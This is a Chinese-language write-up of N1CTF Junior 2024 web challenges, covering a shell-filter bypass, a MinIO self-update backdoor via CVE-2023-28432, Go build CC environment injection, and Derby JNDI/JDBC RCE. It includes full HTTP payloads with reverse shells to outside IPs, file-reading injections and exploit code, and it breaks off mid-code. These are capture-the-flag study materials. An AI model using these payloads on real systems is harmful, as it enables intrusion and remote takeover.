N1CTF Junior 2024 Web Official Writeup(Nu1L Team组织的官方纳新赛事,旨在选拔优秀人才加入Nu1L Team,可是小北是大二生,抱着玩玩的心态来的)

前端 0

Nu1L - CTF大本营 - 网络安全竞赛平台-i春秋 (ichunqiu.com)icon-default.png?t=N7T8https://www.ichunqiu.com/competition/team/15

赛事举办方信息

Nu1L Team组织的官方纳新赛事,旨在选拔优秀人才加入Nu1L Team

      作为国内TOP CTF战队,Nu1LTeam自2015年10月成立以来,斩获了国内外众多赛事冠军以及闯入DEFCON CTF总决赛,这得益于Nu1L每一位队员的努力。 我们期望发掘以及培养年轻力量,于是自2023年开始,我们决定举办N1CTF Junior,旨在选拔优秀年轻人才加入Nu1LTeam。

一血奖励:(一个月)比赛已经结束,请最终排名前26且符合条件者(目前是2023级就读)的选手将【详细】wp于24小时内(即2/5 21:00)发送至root@nu1l.com 

一血题目奖励我们会发放至注册邮箱

首页 - 网络空间测绘,网络安全,漏洞分析,动态测绘,钟馗之眼,时空测绘,赛博测绘 - ZoomEye("钟馗之眼")网络空间搜索引擎icon-default.png?t=N7T8https://www.zoomeye.org/

浏览器要炸了

目录

名称/排名情况

zako

ezminio

MyGo

Derby

Derby Plus

总结

名称/排名情况

Boogipop: Rank 1
 

image.png


小北也是比较意外拿了个第一,各个题目都做的挺顺利(因为有hint,嘿嘿~)

zako

虽然是个签到题,但这确实是小北做的最久的题了
emmmmm,这个wp也就只有审核可以看到了,这里就说一下我蠢到极致的解法吧,首先我们可以获取execute.sh的内容如下:

#!/bin/bashreject() {    echo "${1}"    exit 1}XXXCMD=$1awk -v str="${XXXCMD}" 'BEGIN {    deny="`;&$(){}[]!@#$%^&*-";    for (i = 1; i <= length(str); i++) {        char = substr(str, i, 1);        for (x = 1; x < length(deny) + 1; x++) {            r = substr(deny, x, 1);            if (char == r) exit 1;        }    }}'[ $? -ne 0 ] && reject "NOT ALLOW 1"eval_cmd=$(echo "${XXXCMD}" | awk -F "|" 'BEGIN {    allows[1] = "ls";    allows[2] = "makabaka";    allows[3] = "whoareu";    allows[4] = "cut~no";    allows[5] = "grep";    allows[6] = "wc";    allows[7] = "杂鱼杂鱼";    allows[8] = "netstat.jpg";    allows[9] = "awsl";    allows[10] = "dmesg";    allows[11] = "xswl";}{    num = 1;    for (i = 1; i <= NF; i++) {        for (x = 1; x <= length(allows); x++) {            cmpstr = substr($i, 1, length(allows[x]));            if (cmpstr == allows[x])                eval_cmd[num++] = $i;        }    }}END {    for (i = 1; i <= length(eval_cmd); i++) {        if (i != 1)            printf "| %s", eval_cmd[i];        else            printf "%s", eval_cmd[i];    }}')[ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2"eval ${eval_cmd}
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061
#!/bin/bashreject() {    echo "${1}"    exit 1}XXXCMD=$1awk -v str="${XXXCMD}" 'BEGIN {    deny="`;&$(){}[]!@#$%^&*-";    for (i = 1; i <= length(str); i++) {        char = substr(str, i, 1);        for (x = 1; x < length(deny) + 1; x++) {            r = substr(deny, x, 1);            if (char == r) exit 1;        }    }}'[ $? -ne 0 ] && reject "NOT ALLOW 1"eval_cmd=$(echo "${XXXCMD}" | awk -F "|" 'BEGIN {    allows[1] = "ls";    allows[2] = "makabaka";    allows[3] = "whoareu";    allows[4] = "cut~no";    allows[5] = "grep";    allows[6] = "wc";    allows[7] = "杂鱼杂鱼";    allows[8] = "netstat.jpg";    allows[9] = "awsl";    allows[10] = "dmesg";    allows[11] = "xswl";}{    num = 1;    for (i = 1; i <= NF; i++) {        for (x = 1; x <= length(allows); x++) {            cmpstr = substr($i, 1, length(allows[x]));            if (cmpstr == allows[x])                eval_cmd[num++] = $i;        }    }}END {    for (i = 1; i <= length(eval_cmd); i++) {        if (i != 1)            printf "| %s", eval_cmd[i];        else            printf "%s", eval_cmd[i];    }}')[ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2"eval ${eval_cmd}

这是一个sh脚本,其实所做的内容也很简单,设置了11个白名单
其实有用的也就3个wc、ls、grep

  • wc:查看文件行数情况,不可以读取内容
  • grep:可读取文件内容
  • ls:不多说

其次还设置了一个shell环境下的黑名单deny=";&$(){}[]!@#$%^&*-“;,过滤了一些特殊字符。源码没了,感谢@蒋十七`师傅的源码提供,阿里嘎多~

<?php//something hide herehighlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));$cmd = $_REQUEST["__secret.xswl.io"];if (strlen($cmd)>70) {    	die("no, >70");}if (preg_match("/('|`|/n|/t|///$|~|@|#|;|&|//||-|_|//=|//*|!|//%|///^|index|execute')/is",$cmd)){    	die("你就不能绕一下喵");}system("./execute.sh '".$cmd."'");?>
12345678910111213141516
<?php//something hide herehighlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));$cmd = $_REQUEST["__secret.xswl.io"];if (strlen($cmd)>70) {    	die("no, >70");}if (preg_match("/('|`|/n|/t|///$|~|@|#|;|&|//||-|_|//=|//*|!|//%|///^|index|execute')/is",$cmd)){    	die("你就不能绕一下喵");}system("./execute.sh '".$cmd."'");?>

我们可以使用ls指令查看当前所有文件。
 

image.png


并且可以使用grep 进行文件读取
 

image.png


当然flag是不可能被读出来的,接下里就是我的铸币解法了。先说一下思路,我认为这道题php有waf1,shell中有waf2,硬绕waf1 2我觉得我是不行,但是但凡少其中一个waf我都可以做出来,因此想法油然而生了。
我要将如下内容写入pop.php

<?php$cmd = $_REQUEST["__secret.xswl.io"];system("./execute.sh '".$cmd."'");?>
1234
<?php$cmd = $_REQUEST["__secret.xswl.io"];system("./execute.sh '".$cmd."'");?>

这样我就可以避免外层waf了。实现起来也很简单,依次进行如下操作

  • ?.[secret.xswl.io=grep "<?php" inde?.php >> pop.php
  • ?.[secret.xswl.io=grep "cmd" inde?.php >> pop.php
  • ?.[secret.xswl.io=grep "system" inde?.php >> pop.php

然后读取一下pop.php的内容。
 

image.png


好了大功告成,那么最后的payload就是
?.[secret.xswl.io=ls';cat /flag'

image.png

ezminio

还好最后一小时放了hint,不然到死都没想到这个思路,其实我感觉这个思路很不,Lolita师傅太强拉
CVE-2023-28432
GitHub - AbelChe/evil_minio: EXP for CVE-2023-28434 MinIO unauthorized to RCEEXP for CVE-2023-28434 MinIO unauthorized to RCE. Contribute to AbelChe/evil_minio development by creating an account on GitHub.icon-default.png?t=N7T8https://github.com/AbelChe/evil_minio
这是去年三月份出的漏洞,原理就是minio 信息泄露拿到管理员账号密码,进而可以自更新rce。但是利用有个前提条件,那就是不能在环境变量配置minisignPubKey,否则会进入verifyBinary检查sha256。那么就不可以自更新rce了。

const (	// Update this whenever the official minisign pubkey is rotated.	defaultMinisignPubkey = "RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav")func verifyBinary(u *url.URL, sha256Sum []byte, releaseInfo, mode string, reader io.Reader) (err error) {	if !updateInProgress.CompareAndSwap(0, 1) {		return errors.New("update already in progress")	}	defer updateInProgress.Store(0)	transport := getUpdateTransport(30 * time.Second)	opts := selfupdate.Options{		Hash:     crypto.SHA256,		Checksum: sha256Sum,	}	if err := opts.CheckPermissions(); err != nil {		return AdminError{			Code:       AdminUpdateApplyFailure,			Message:    fmt.Sprintf("server update failed with: %s, do not restart the servers yet", err),			StatusCode: http.StatusInternalServerError,		}	}	minisignPubkey := env.Get(envMinisignPubKey, defaultMinisignPubkey)	if minisignPubkey != "" {		v := selfupdate.NewVerifier()		u.Path = path.Dir(u.Path) + slashSeparator + releaseInfo + ".minisig"		if err = v.LoadFromURL(u.String(), minisignPubkey, transport); err != nil {			return AdminError{				Code:       AdminUpdateApplyFailure,				Message:    fmt.Sprintf("signature loading failed for %v with %v", u, err),				StatusCode: http.StatusInternalServerError,			}		}		opts.Verifier = v	}	if err = selfupdate.PrepareAndCheckBinary(reader, opts); err != nil {		var pathErr *os.PathError		if errors.As(err, &pathErr) {			return AdminError{				Code: AdminUpdateApplyFailure,				Message: fmt.Sprintf("Unable to update the binary at %s: %v",					filepath.Dir(pathErr.Path), pathErr.Err),				StatusCode: http.StatusForbidden,			}		}		return AdminError{			Code:       AdminUpdateApplyFailure,			Message:    err.Error(),			StatusCode: http.StatusInternalServerError,		}	}	return nil}
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758
const (	// Update this whenever the official minisign pubkey is rotated.	defaultMinisignPubkey = "RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav")func verifyBinary(u *url.URL, sha256Sum []byte, releaseInfo, mode string, reader io.Reader) (err error) {	if !updateInProgress.CompareAndSwap(0, 1) {		return errors.New("update already in progress")	}	defer updateInProgress.Store(0)	transport := getUpdateTransport(30 * time.Second)	opts := selfupdate.Options{		Hash:     crypto.SHA256,		Checksum: sha256Sum,	}	if err := opts.CheckPermissions(); err != nil {		return AdminError{			Code:       AdminUpdateApplyFailure,			Message:    fmt.Sprintf("server update failed with: %s, do not restart the servers yet", err),			StatusCode: http.StatusInternalServerError,		}	}	minisignPubkey := env.Get(envMinisignPubKey, defaultMinisignPubkey)	if minisignPubkey != "" {		v := selfupdate.NewVerifier()		u.Path = path.Dir(u.Path) + slashSeparator + releaseInfo + ".minisig"		if err = v.LoadFromURL(u.String(), minisignPubkey, transport); err != nil {			return AdminError{				Code:       AdminUpdateApplyFailure,				Message:    fmt.Sprintf("signature loading failed for %v with %v", u, err),				StatusCode: http.StatusInternalServerError,			}		}		opts.Verifier = v	}	if err = selfupdate.PrepareAndCheckBinary(reader, opts); err != nil {		var pathErr *os.PathError		if errors.As(err, &pathErr) {			return AdminError{				Code: AdminUpdateApplyFailure,				Message: fmt.Sprintf("Unable to update the binary at %s: %v",					filepath.Dir(pathErr.Path), pathErr.Err),				StatusCode: http.StatusForbidden,			}		}		return AdminError{			Code:       AdminUpdateApplyFailure,			Message:    err.Error(),			StatusCode: http.StatusInternalServerError,		}	}	return nil}

这是题目版本对应的verifyBinary函数逻辑,可以看到传入了一个publickey进行校验。并且publickey怎么样都是有个值的。
这导致我们无法自更新二开后的minio 二进制文件。那怎么办呢?
这里其实就引入了一个二次思维,我们先将版本退化为不需要校验publickey的版本,然后再上传我们的evil_minio,这样就可以绕过这个机制了
这是2023-2月版本的verrifyBinary方法:

func verifyBinary(u *url.URL, sha256Sum []byte, releaseInfo string, mode string, reader []byte) (err error) {	if !atomic.CompareAndSwapUint32(&updateInProgress, 0, 1) {		return errors.New("update already in progress")	}	defer atomic.StoreUint32(&updateInProgress, 0)	transport := getUpdateTransport(30 * time.Second)	opts := selfupdate.Options{		Hash:     crypto.SHA256,		Checksum: sha256Sum,	}	if err := opts.CheckPermissions(); err != nil {		return AdminError{			Code:       AdminUpdateApplyFailure,			Message:    fmt.Sprintf("server update failed with: %s, do not restart the servers yet", err),			StatusCode: http.StatusInternalServerError,		}	}	minisignPubkey := env.Get(envMinisignPubKey, "")	if minisignPubkey != "" {		v := selfupdate.NewVerifier()		u.Path = path.Dir(u.Path) + slashSeparator + releaseInfo + ".minisig"		if err = v.LoadFromURL(u.String(), minisignPubkey, transport); err != nil {			return AdminError{				Code:       AdminUpdateApplyFailure,				Message:    fmt.Sprintf("signature loading failed for %v with %v", u, err),				StatusCode: http.StatusInternalServerError,			}		}		opts.Verifier = v	}	if err = selfupdate.PrepareAndCheckBinary(bytes.NewReader(reader), opts); err != nil {		var pathErr *os.PathError		if errors.As(err, &pathErr) {			return AdminError{				Code: AdminUpdateApplyFailure,				Message: fmt.Sprintf("Unable to update the binary at %s: %v",					filepath.Dir(pathErr.Path), pathErr.Err),				StatusCode: http.StatusForbidden,			}		}		return AdminError{			Code:       AdminUpdateApplyFailure,			Message:    err.Error(),			StatusCode: http.StatusInternalServerError,		}	}	return nil}
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354
func verifyBinary(u *url.URL, sha256Sum []byte, releaseInfo string, mode string, reader []byte) (err error) {	if !atomic.CompareAndSwapUint32(&updateInProgress, 0, 1) {		return errors.New("update already in progress")	}	defer atomic.StoreUint32(&updateInProgress, 0)	transport := getUpdateTransport(30 * time.Second)	opts := selfupdate.Options{		Hash:     crypto.SHA256,		Checksum: sha256Sum,	}	if err := opts.CheckPermissions(); err != nil {		return AdminError{			Code:       AdminUpdateApplyFailure,			Message:    fmt.Sprintf("server update failed with: %s, do not restart the servers yet", err),			StatusCode: http.StatusInternalServerError,		}	}	minisignPubkey := env.Get(envMinisignPubKey, "")	if minisignPubkey != "" {		v := selfupdate.NewVerifier()		u.Path = path.Dir(u.Path) + slashSeparator + releaseInfo + ".minisig"		if err = v.LoadFromURL(u.String(), minisignPubkey, transport); err != nil {			return AdminError{				Code:       AdminUpdateApplyFailure,				Message:    fmt.Sprintf("signature loading failed for %v with %v", u, err),				StatusCode: http.StatusInternalServerError,			}		}		opts.Verifier = v	}	if err = selfupdate.PrepareAndCheckBinary(bytes.NewReader(reader), opts); err != nil {		var pathErr *os.PathError		if errors.As(err, &pathErr) {			return AdminError{				Code: AdminUpdateApplyFailure,				Message: fmt.Sprintf("Unable to update the binary at %s: %v",					filepath.Dir(pathErr.Path), pathErr.Err),				StatusCode: http.StatusForbidden,			}		}		return AdminError{			Code:       AdminUpdateApplyFailure,			Message:    err.Error(),			StatusCode: http.StatusInternalServerError,		}	}	return nil}

在这里假如环境变量中没有配置publickey那么就默认为空,也就绕过了判断。这就符合我们的条件了。在题目环境中环境变量是没配置publickey的,不然也打不了。
题目给的是内网9000端口映射出的服务
http://47.112.112.23:23333icon-default.png?t=N7T8http://47.112.112.23:23333/
我们利用mc 管理工具将其添加进我们的host
mc config host add minio [http://47.112.112.23:23333](http://47.112.112.23:23333) minioadmin minioadmin
目标是默认密码和用户名,权限也是admin,有自更新权限,首先是降级处理。这里我选用的版本是[minio.RELEASE.2023-02-10T18-48-39Z](https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2023-02-10T18-48-39Z)
https://dl.min.io/server/minio/release/linux-amd64/archive/icon-default.png?t=N7T8https://dl.min.io/server/minio/release/linux-amd64/archive/
 

image.png


我们需要这三个文件,下载下来后先给他改个名字,自更新判断的是sha256sum文件的第二个字段。
 

image.png


假如这个字段的版本小于服务器当前的版本,那么就不会自更新,所以我们随便将其改为另一个名字minio.RELEASE.2024-01-15T18-25-24Z,并且将sha256sum文件以及内容也改为如上的名字,之后我们就可以开启自更新了。
mc admin update minio [http://8.134.166.14:8887/minio.RELEASE.2024-01-15T18-25-24Z.sha256sum](http://8.134.166.14:8887/minio.RELEASE.2024-01-15T18-25-24Z.sha256sum) -y
等待大概四分钟,我们就可以看到更新成功。(我服务器是真屎啊,95M传四分钟)
 

image.png


 

image.png


接下来我们该做的就是二次更新替换为evil_minio
编译该项目即可GitHub - AbelChe/evil_minio: EXP for CVE-2023-28434 MinIO unauthorized to RCEEXP for CVE-2023-28434 MinIO unauthorized to RCE. Contribute to AbelChe/evil_minio development by creating an account on GitHub.icon-default.png?t=N7T8https://github.com/AbelChe/evil_minio
然后也是一样的处理,修改名字为超过当前版本的版本即可。这个可以不需要minisig文件,因为绕过了verifyBinary。
mc admin update minio [http://8.134.166.14:8886/minio.RELEASE.2024-01-16T18-25-24Z.sha256sum](http://8.134.166.14:8886/minio.RELEASE.2024-01-16T18-25-24Z.sha256sum) -y
同样也是等待四分钟
 

image.png


 

image.png


最后输入全局后门alive获取flag即可。

image.png

MyGo

MyGO!
给了源码分析一下。

package mainimport (	"embed"	"fmt"	"github.com/gin-gonic/gin"	"net/http"	"os"	"os/exec")//go:embed public/*var fs embed.FSfunc IndexHandler(c *gin.Context) {	c.FileFromFS("public/", http.FS(fs))}func BuildHandler(c *gin.Context) {	var req map[string]interface{}	if err := c.ShouldBindJSON(&req); err != nil {		c.JSON(http.StatusOK, gin.H{"error": "Invalid request"})		return	}	if !PathExists("/tmp/build/") {		os.Mkdir("/tmp/build/", 0755)	}	defer os.Remove("/tmp/build/main.go")	defer os.Remove("/tmp/build/main")	os.Chdir("/tmp/build/")	os.WriteFile("main.go", []byte(req["code"].(string)), 0644)	var env []string	for k, v := range req["env"].(map[string]interface{}) {		env = append(env, fmt.Sprintf("%s=%s", k, v))	}	cmd := exec.Command("go", "build", "-o", "main", "main.go")	cmd.Env = append(os.Environ(), env...)	if err := cmd.Run(); err != nil {		c.JSON(http.StatusOK, gin.H{"error": "Build error"})	} else {		c.File("/tmp/build/main")	}}func PathExists(p string) bool {	_, err := os.Stat(p)	if err == nil {		return true	}	if os.IsNotExist(err) {		return false	}	return false}func main() {	r := gin.Default()	r.GET("/", IndexHandler)	r.POST("/build", BuildHandler)	r.Run(":8000")}
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869
package mainimport (	"embed"	"fmt"	"github.com/gin-gonic/gin"	"net/http"	"os"	"os/exec")//go:embed public/*var fs embed.FSfunc IndexHandler(c *gin.Context) {	c.FileFromFS("public/", http.FS(fs))}func BuildHandler(c *gin.Context) {	var req map[string]interface{}	if err := c.ShouldBindJSON(&req); err != nil {		c.JSON(http.StatusOK, gin.H{"error": "Invalid request"})		return	}	if !PathExists("/tmp/build/") {		os.Mkdir("/tmp/build/", 0755)	}	defer os.Remove("/tmp/build/main.go")	defer os.Remove("/tmp/build/main")	os.Chdir("/tmp/build/")	os.WriteFile("main.go", []byte(req["code"].(string)), 0644)	var env []string	for k, v := range req["env"].(map[string]interface{}) {		env = append(env, fmt.Sprintf("%s=%s", k, v))	}	cmd := exec.Command("go", "build", "-o", "main", "main.go")	cmd.Env = append(os.Environ(), env...)	if err := cmd.Run(); err != nil {		c.JSON(http.StatusOK, gin.H{"error": "Build error"})	} else {		c.File("/tmp/build/main")	}}func PathExists(p string) bool {	_, err := os.Stat(p)	if err == nil {		return true	}	if os.IsNotExist(err) {		return false	}	return false}func main() {	r := gin.Default()	r.GET("/", IndexHandler)	r.POST("/build", BuildHandler)	r.Run(":8000")}

作用就是一个编译平台,你输入一个code,他就会帮你build,在这个过程中我们可控的东西只有environment变量,那么我们科学上网的时间就到了。
go command - cmd/go - Go Packagesicon-default.png?t=N7T8https://pkg.go.dev/cmd/go#hdr-Environment_variables

法一:

考察 Go build 环境变量注入

题目提供了一个交叉编译 Go 程序的功能, 在编译的时候只有环境变量可控, 所以思路就是通过控制环境变量实现 RCE

var env []stringfor k, v := range req["env"].(map[string]interface{}) {  env = append(env, fmt.Sprintf("%s=%s", k, v))}cmd := exec.Command("go", "build", "-o", "main", "main.go")cmd.Env = append(os.Environ(), env...)if err := cmd.Run(); err != nil {  c.JSON(http.StatusOK, gin.H{"error": "Build error"})} else {  c.File("/tmp/build/main")}

因为命令直接使用 exec.Command("go", "build", "-o", "main", "main.go") 运行, 所以不存在 Bash 上下文, 也就不存在 Bash 环境变量注入

因此只能从 go build 命令本身所使用的环境变量入手, 寻找可以命令注入的点

go 命令的相关环境变量可以使用 go env 查看

GO111MODULE=''GOARCH='arm64'GOBIN=''GOCACHE='/root/.cache/go-build'GOENV='/root/.config/go/env'GOEXE=''GOEXPERIMENT=''GOFLAGS=''GOHOSTARCH='arm64'GOHOSTOS='linux'GOINSECURE=''GOMODCACHE='/go/pkg/mod'GONOPROXY=''GONOSUMDB=''GOOS='linux'GOPATH='/go'GOPRIVATE=''GOPROXY='https://proxy.golang.org,direct'GOROOT='/usr/local/go'GOSUMDB='sum.golang.org'GOTMPDIR=''GOTOOLCHAIN='local'GOTOOLDIR='/usr/local/go/pkg/tool/linux_arm64'GOVCS=''GOVERSION='go1.21.6'GCCGO='gccgo'AR='ar'CC='gcc'CXX='g++'CGO_ENABLED='1'GOMOD='/dev/null'GOWORK=''CGO_CFLAGS='-O2 -g'CGO_CPPFLAGS=''CGO_CXXFLAGS='-O2 -g'CGO_FFLAGS='-O2 -g'CGO_LDFLAGS='-O2 -g'PKG_CONFIG='pkg-config'GOGCCFLAGS='-fPIC -pthread -Wl,--no-gc-sections -fmessage-length=0 -ffile-prefix-map=/tmp/go-build685738299=/tmp/go-build -gno-record-gcc-switches

不难发现其中 CC 环境变量的值为 gcc, 猜测在 go build 的时候可能会调用 gcc 以完成部分编译流程, 因此可以尝试将 CC 的值替换成任意命令, 实现 RCE

至于为什么会用到 gcc, 原因是 Go 语言支持 CGO 特性, 即使用 Go 调用 C 的函数

Go 与 C 的桥梁:cgo 入门,剖析与实践 - 知乎作者:panhuili,腾讯 IEG 后台开发工程师 Go 作为当下最火的开发语言之一,它的优势不必多说。Go 对于高并发的支持,使得它可以很方便的作为独立模块嵌入业务系统。有鉴于我司大量的 C/C++存量代码,如何将 Go 和…icon-default.png?t=N7T8https://zhuanlan.zhihu.com/p/349197066

编写一个使用 CGO 的 Go 程序需要引入 C 这个包, 即 import "C"

package mainimport "C"func main() {    println("hello cgo")}

这样在 build 的时候就会调用 gcc

本地测试

CC='bash -c "id"' go build main.go

image-20240203151003034

题目出网, 所以直接反弹 shell

POST /build HTTP/1.1Host: 127.0.0.1:10800Content-Length: 145User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Type: text/plain;charset=UTF-8Accept: */*Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: close{"env":{"GOOS":"linux","GOARCH":"amd64","CGO_ENABLED":"1","CC":"bash -c 'bash -i >& /dev/tcp/host.docker.internal/4444 0>&1'"},"code":"package main/n/nimport /"C/"/n/nfunc main() {/n    println(/"hello cgo/")/n}"}

image-20240203151405335

然后注意题目环境不支持 CGO 的交叉编译, 因此必须保证 GOOS 和 GOARCH 与题目环境一致, 即 linux 和 amd64

最后, 对于这道题也可以进一步思考, 如果题目环境不出网, 如何带出 flag?

答案是使用 Go embed 特性, Go 语言在编译的时候会将被 embed 的文件一起打包到二进制程序内部

那么就可以先通过 CC 环境变量注入在 go build 时将 flag 写入 /tmp/build 目录, 即项目目录, 因为 Go embed 不能打包位于项目目录之外的文件

CC='bash -c "/readflag > /tmp/build/flag.txt"' go build main.go

然后 build 如下代码, 使用 //go:embed flag.txt 打包 flag.txt, 这一步不需要交叉编译

package mainimport (  "fmt"  _ "embed")//go:embed flag.txtvar s stringfunc main() {    fmt.Println(s)}

最后下载编译好的二进制文件到本地, 查找 flag

strings main | grep ctfhub

法二:

image.png


我找到了个好玩的变量,那就是CC,这个东西是一个指令,我们可以看看本地
 

image.png


可以发现CC=gcc,这段代码触发的场合如下:

package main// typedef int (*intFunc) ();//// int// bridge_int_func(intFunc f)// {//		return f();// }//// int fortytwo()// {//	    return 42;// }import "C"import "fmt"func main() {	f := C.intFunc(C.fortytwo)	fmt.Println(int(C.bridge_int_func(f)))	// Output: 42}
12345678910111213141516171819202122
package main// typedef int (*intFunc) ();//// int// bridge_int_func(intFunc f)// {//		return f();// }//// int fortytwo()// {//	    return 42;// }import "C"import "fmt"func main() {	f := C.intFunc(C.fortytwo)	fmt.Println(int(C.bridge_int_func(f)))	// Output: 42}

注释中的C代码会被gcc进行编译。我们可以这样测试export CC=whoami
 

image.png


你将会看到一段抛错
 

image.png


那就是gcc被我们改成了whoami,自然就报错了,我们这里就是一个命令注入的点位了。
我们export CC='bash -c "bash -i >& /dev/tcp/8.130.24.188/7775 <&1"'
 

image.png


 

image.png


即可完成注入获取flag。最终payload数据包如下:

POST /build HTTP/1.1Host: 121.199.64.23:25480Content-Length: 443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0Content-Type: text/plain;charset=UTF-8Accept: */*Origin: http://121.199.64.23:25480Referer: http://121.199.64.23:25480/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Connection: close{"env":{"GOOS":"linux","GOARCH":"amd64","CGO_ENABLED":"1","CC":"bash -c /"bash -i >& /dev/tcp/8.130.24.188/7775 <&1/"","GOGCCFLAGS":""},"code":"package main/n/n// #include <stdio.h>/n// #include <stdlib.h>/n///n// static void myprint(char* s) {/n//   printf(/"%s//n/", s);/n// }/nimport /"C/"/nimport /"unsafe/"/n/nfunc main() {/n        cs := C.CString(/"Hello from stdio/")/n        C.myprint(cs)/n        C.free(unsafe.Pointer(cs))/n}"}
123456789101112131415
POST /build HTTP/1.1Host: 121.199.64.23:25480Content-Length: 443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0Content-Type: text/plain;charset=UTF-8Accept: */*Origin: http://121.199.64.23:25480Referer: http://121.199.64.23:25480/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Connection: close{"env":{"GOOS":"linux","GOARCH":"amd64","CGO_ENABLED":"1","CC":"bash -c /"bash -i >& /dev/tcp/8.130.24.188/7775 <&1/"","GOGCCFLAGS":""},"code":"package main/n/n// #include <stdio.h>/n// #include <stdlib.h>/n///n// static void myprint(char* s) {/n//   printf(/"%s//n/", s);/n// }/nimport /"C/"/nimport /"unsafe/"/n/nfunc main() {/n        cs := C.CString(/"Hello from stdio/")/n        C.myprint(cs)/n        C.free(unsafe.Pointer(cs))/n}"}

Derby

法一:

考察 JNDI 注入在高版本 JDK 的绕过

题目直接给出了一个 JNDI 注入

package com.example.derby;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.RestController;import javax.naming.Context;import javax.naming.InitialContext;@RestControllerpublic class IndexController {    @RequestMapping("/")    public String index() {        return "hello derby";    }    @RequestMapping("/lookup")    public String lookup(@RequestParam String url) throws Exception {        Context ctx = new InitialContext();        ctx.lookup(url);        return "ok";    }}

pom.xml 依

<dependencies>    <dependency>        <groupId>org.springframework.boot</groupId>        <artifactId>spring-boot-starter-web</artifactId>    </dependency>    <dependency>        <groupId>com.alibaba</groupId>        <artifactId>druid</artifactId>        <version>1.2.21</version>    </dependency>    <dependency>        <groupId>org.apache.derby</groupId>        <artifactId>derby</artifactId>        <version>10.14.2.0</version>    </dependency></dependencies>

环境特地使用了较新的 Java 17, 由于模块化的访问机制导致不能直接用 TemplatesImpl + Jackson 反序列化一把梭, 已有的 JNDI 利用工具就更不用说了

这道题的思路其实就是两篇文章:

探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖跳跳糖 - 安全与分享社区icon-default.png?t=N7T8https://tttang.com/archive/1405/

derby数据库如何实现RCE - lvyyevd's 安全博客前言前段时间遇到了一个后台可以操作数据库语句的地方,且使用的数据库为derby,derby数据库可以作为内嵌数据库,要知道H2数据库可以利用alias别名,调用java代码进行命令执行。猜测derby数据库也有相应功能,一直翻阅官方文档,终于找到了一种RCE利用方式(应该还没有人发吧),在这里记录一icon-default.png?t=N7T8http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce

依赖给出了 Druid 连接池, 那么就可以使用 DruidDataSourceFactory 将 JNDI 注入转化为 JDBC 攻击

Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null);String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON/n" +        "INFORMATION_SCHEMA.TABLES AS $$//javascript/n" +        "java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')/n" +        "$$/n";String JDBC_USER = "root";String JDBC_PASSWORD = "password";ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));ref.add(new StringRefAddr("url", JDBC_URL));ref.add(new StringRefAddr("username", JDBC_USER));ref.add(new StringRefAddr("password", JDBC_PASSWORD));ref.add(new StringRefAddr("initialSize", "1"));ref.add(new StringRefAddr("init", "true"));

但是这道题没有 H2 的依赖, 只有 Derby ,如何实现 RCE?

众所周知关于 Derby 的 JDBC 攻击思路大都是通过主从复制 (slaveHost/slavePort) 实现反序列化

但这道题并不是考察主从复制, 更何况 JNDI 本身也能够反序列化, 没有意义

思路就是第二篇文章, 通过 Derby SQL 加载远程 jar, 再调用 jar 内的方法, 实现 RCE (仔细阅读 Derby 的官方文档也可以发现)

那么必须得有个执行 SQL 的点, 上面的 H2 在 JDBC URL 内有 INIT 参数, 但是 Derby 没有这样的参数

这步其实就需要大家仔细阅读 DruidDataSourceFactory 的源码, 或者 Druid 的官方文档, 不难发现存在 initConnectionSqls 参数

image-20240204115955921

不过这些参数并不是写在 JDBC URL 里面, 而是跟上面的 driverClassName, url, username, password 一样, 写在 StringRefAddr 里面

StringRefAddr 只能传入字符串, 那么 initConnectionSqls 内的 SQL 语句就需要用分号分割

构造如下 payload

package com.example;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import javax.naming.Reference;import javax.naming.StringRefAddr;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;import java.util.ArrayList;import java.util.List;public class LDAPServer {    private static final String LDAP_BASE = "dc=example,dc=com";    public static void main(String[] args) {        int port = 1389;        try {            InMemoryDirectoryServerConfig config = new 